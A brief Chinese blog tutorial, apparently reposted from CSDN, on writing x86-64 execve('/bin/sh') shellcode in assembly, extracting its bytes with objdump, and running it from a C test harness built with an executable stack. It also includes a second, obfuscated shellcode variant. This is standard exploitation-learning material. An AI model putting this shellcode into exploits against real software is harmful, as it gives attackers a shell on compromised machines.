怎样编写shellcode以及验证其功能

前言

言简意赅的记录一下。

编写汇编

global _start
section .text
_start:
    push 59
    pop rax
    cdq
    push rdx
    mov rbx,0x68732f6e69622f2f
    push rbx
    push rsp
    pop rdi
    push rdx
    push rdi
    push rsp
    pop rsi
    syscall

编译命令

nasm -felf64 shell.nasm -o shell.o
ld shell.o -o shell
./shell

获取shellcode

objdump -d shell
这里写图片描述

验证功能

#include <stdio.h>
#include <string.h>
char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
// char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}

使用gcc编译

gcc shell.c -z execstack -o shell

总结

很简单不是么!

猜你喜欢

转载自blog.csdn.net/qq_33438733/article/details/80780703